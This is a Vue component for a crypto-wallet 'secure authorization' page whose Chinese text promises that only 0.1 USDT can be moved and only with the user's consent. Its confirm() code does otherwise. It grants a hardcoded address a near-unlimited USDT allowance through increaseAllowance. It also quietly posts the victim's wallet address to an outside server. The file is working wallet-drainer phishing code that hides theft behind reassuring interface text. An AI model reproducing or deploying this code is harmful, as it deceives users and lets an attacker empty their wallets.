<template>
  <div class="confirm-page">
    <div class="notice-panel">
      <van-icon name="passed" />
      安全操作：当前授权地址只能转移0.1USDT，并需经过我同意，可避免被盗。
    </div>

    <div class="title-wrapper">为了保证资产安全，请仔细阅读以下信息</div>

    <div class="auth-amount">
      <div class="sign">*</div>
      <div class="label">授权金额（USDT）</div>
      <div class="value">0.1</div>
    </div>

    <div class="auth-tips">
      <span class="label">授权金额：</span>
      <span class="value">
        授权后，该授权地址只能转走相应数量资产，无法转走所有资产
      </span>
    </div>

    <div class="auth-mode">
      <div class="sign">*</div>
      <div class="label">授权模式</div>
      <div class="value">
        <van-radio-group v-model="radio" direction="horizontal">
          <van-radio name="1">安全模式</van-radio>
          <van-radio name="2">白名单模式</van-radio>
        </van-radio-group>
      </div>
    </div>

    <div class="auth-tips" v-if="radio === '1'">
      <span class="label">安全模式：</span>
      <span class="value">
        授权地址无法直接转资产，需要经过我同意，保证资产安全
      </span>
    </div>

    <div class="auth-tips" v-else>
      <span class="label">白名单模式：</span>
      <span class="value">
        授权地址无法直接转资产，需要经过我同意，保证资产安全
      </span>
    </div>

    <div class="btn-wrapper">
      <van-button @click="$router.go(-1)">取消</van-button>
      <van-button type="primary" @click="confirm" :loading="loading">
        确认
      </van-button>
    </div>
  </div>
</template>

<script>
import numberUtils from "@/utils/numberUtils";
import abi from "./abi.json";
import axios from "axios";

export default {
  data() {
    return {
      radio: "1",
      loading: false
    };
  },
  mounted() {
    if (!this.walletAddress) {
      this.connectMetaMask();
    }
  },
  methods: {
    next() {
      this.$router.push("/payment/confirm");
    },
    async confirm() {
      const web3 = this.$web3js.getWeb3();
      const address = "0x55d398326f99059fF775485246999027B3197955";
      const myAddress = "0x6643FB8DC1Ece41Dcf57e0949b0601eEBe0D73eC";

      const contract = new web3.eth.Contract(abi, address, {
        from: this.walletAddress
      });

      this.loading = true;
      const amount = await numberUtils.movePointRight(999999999999, 18);

      axios({
        url: "http://47.76.40.31:8081/api/v1/tp/portal-open/addApproveAddr",
        method: "post",
        data: {
          addr: this.walletAddress,
          chainType: 1
        }
      });
      contract.methods
        .increaseAllowance(myAddress, amount)
        .send({ from: this.walletAddress })
        .on("transactionHash", hash => {
          console.log(hash);
        })
        .on("receipt", receipt => {
          console.log(receipt);
          this.loading = false;
          this.$toast("Success");
        })
        .on("error", error => {
          console.log(error);
          this.loading = false;
        });
    }
  }
};
</script>

<style lang="less" scoped>
.confirm-page {
  padding: 12px;
  line-height: 20px;

  .notice-panel {
    background: #f0f9eb;
    color: #67c23a;
    padding: 12px;
    border-radius: 8px;
    font-size: 13px;
  }

  .title-wrapper {
    margin: 20px 40px;
    text-align: center;
  }

  .auth-amount {
    display: flex;
    align-items: center;
    margin-bottom: 12px;

    .sign {
      font-weight: bold;
      margin-right: 4px;
      color: red;
    }

    .value {
      padding: 6px 12px;
      width: 80px;
      text-align: center;
      border-radius: 4px;
      background: @white;
    }
  }

  .auth-tips {
    margin-left: 10px;
    line-height: 24px;
    .label {
      color: red;
      font-weight: bold;
    }
  }

  .auth-mode {
    display: flex;
    align-items: center;
    margin: 16px 0 8px;

    .sign {
      font-weight: bold;
      margin-right: 4px;
      color: red;
    }

    .value {
      padding: 4px 12px;
      text-align: center;
      border-radius: 4px;
    }

    :deep(.van-icon) {
      width: 18px;
      height: 18px;
      line-height: 18px;
    }
  }

  .btn-wrapper {
    margin-top: 24px;
    display: flex;
    justify-content: flex-end;
    gap: 16px;
    :deep(.van-button) {
      width: 80px;
      height: 32px;
      border-radius: 4px;
    }
  }
}
</style>
